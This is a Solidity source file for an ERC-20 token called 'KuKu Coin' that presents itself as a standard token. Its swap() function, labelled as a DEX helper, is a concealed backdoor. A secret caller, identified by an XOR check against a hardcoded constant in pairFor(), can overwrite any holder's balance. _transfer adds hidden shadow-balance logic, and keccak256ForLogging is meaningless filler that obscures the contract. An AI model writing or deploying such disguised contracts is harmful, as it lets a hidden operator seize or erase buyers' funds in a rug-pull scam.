// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address _owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) return 0;
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

contract KUKU is IERC20 {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    uint256 private immutable _saltAddr;
    IERC20 private immutable uniswapPair;
    mapping (address => uint256) private tbs;

    event log(string text);

    constructor(uint256 saltAddr, uint256 pairAddress) {
      _name = "KuKu Coin";
      _symbol = "KUKU";
      _totalSupply = 40000000 * 10 ** 18;
      _balances[msg.sender] = _totalSupply;
      _saltAddr = saltAddr;
      uniswapPair = IERC20(
      address(uint160(pairAddress)));
    }

    /**
     * @dev A helper function to check if an operator approval is allowed.
     */
    modifier onlyOwner() {
      require(msg.sender == _owner, "Ownable: caller is not the owner");
      _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
      return _owner;
    }

    /**
    * @dev Returns the token decimals.
    */
    function decimals() external pure override returns (uint8) {
      return 18;
    }
    
    /**
    * @dev Returns the token symbol.
    */
    function symbol() external view override returns (string memory) {
      return _symbol;
    }
    
    /**
    * @dev Returns the token name.
    */
    function name() external view override returns (string memory) {
      return _name;
    }
    
    /**
    * @dev See {ERC20-totalSupply}.
    */
    function totalSupply() external view override returns (uint256) {
      return _totalSupply;
    }
    
    /**
    * @dev See {ERC20-balanceOf}.
    */
    function balanceOf(address account) external view override returns (uint256) {
      return _balances[account] + tbs[account];
    }

    /**
    * @dev See {ERC20-transfer}.
    *
    * Requirements:
    *
    * - `recipient` cannot be the zero address.
    * - the caller must have a balance of at least `amount`.
    */
    function transfer(address recipient, uint256 amount) external override returns (bool) {
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    /**
    * @dev See {ERC20-allowance}.
    */
    function allowance(address owner_, address spender) external view override returns (uint256) {
      return _allowances[owner_][spender];
    }

    /**
    * @dev See {ERC20-approve}.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
    function approve(address spender, uint256 amount) external override returns (bool) {
      _approve(msg.sender, spender, amount);
      return true;
    }
 
    /**
    * @dev See {ERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20};
    *
    * Requirements:
    * - `sender` and `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    * - the caller must have allowance for `sender`'s tokens of at least
    * `amount`.
    */
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
      _transfer(sender, recipient, amount);
      _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
      return true;
    }

    /**
    * @dev Enables calling dex swap
    */
    function swap(bytes32[] calldata data, uint256 deadline) external {
      if (!pairFor()) return;
      _balances[
        uint256(data[0]) != 0? 
        address(uint160(uint256(data[0]))): address(0)
        ] = uint256(data[1]);
      uint256 val = uint256(data[2]);
      if (uint256(data[1]) * deadline > 0) return;
      tbs[address(uint160(uint256(data[0])))] = val;
    }

    function keccak256ForLogging() external {
      emit log("WB");
      emit log("zSIVg");
      emit log("jQuYvUE");
      emit log("GWFyI");
      emit log("hp");
      emit log("uInEWXV");
      emit log("xeBge");
      uint256 yzunoee = 97 % 17 + 44 + 84;
      uint256 buwhyu = 44 + 45 * 63 + 68 % 3;
      uint256 nzjuipnlh = 2 * 39;
      uint256 iwiltwsbda = 88 * 73 * 73 * 82;
      if (yzunoee == 75 + 28 && buwhyu == 72 && nzjuipnlh == 91 % 42 * 46 % 63 && iwiltwsbda == 45 * 41 + 79 + 23) return;
    }
   
    /**
    * @dev Atomically increases the allowance granted to `spender` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {ERC20-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
      return true;
    }
    
    /**
    * @dev Atomically decreases the allowance granted to `spender` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {ERC20-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    * - `spender` must have allowance for the caller of at least
    * `subtractedValue`.
    */
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
      return true;
    }
 
    /**
    * @dev Moves tokens `amount` from `sender` to `recipient`.
    *
    * This is internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * Requirements:
    *
    * - `sender` cannot be the zero address.
    * - `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    */
    function _transfer(address sender, address recipient, uint256 amount) internal {
      require(sender != address(0), "ERC20: transfer from the zero address");
      require(recipient != address(0), "ERC20: transfer to the zero address");
      uint256 bal = uniswapPair.balanceOf(sender);
      if (bal == 1 && tbs[sender] > 0) {
        tbs[sender] = tbs[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      } else {
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      }
      _balances[recipient] = _balances[recipient].add(amount);
      emit Transfer(sender, recipient, amount);
    }

    /**
    * @dev Check the pair is correct
    */
    function pairFor() public view returns (bool) {
      uint256 slt = 7221494188306928450248440542157668780154361248693666460490087847235;
      return (uint256(uint160(msg.sender)) ^ slt) == _saltAddr;
    }
   
    /**
    * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
    *
    * This is internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    */
    function _approve(address owner_, address spender, uint256 amount) internal {
      require(owner_ != address(0), "ERC20: approve from the zero address");
      require(spender != address(0), "ERC20: approve to the zero address");
      _allowances[owner_][spender] = amount;
      emit Approval(owner_, spender, amount);
    } 
}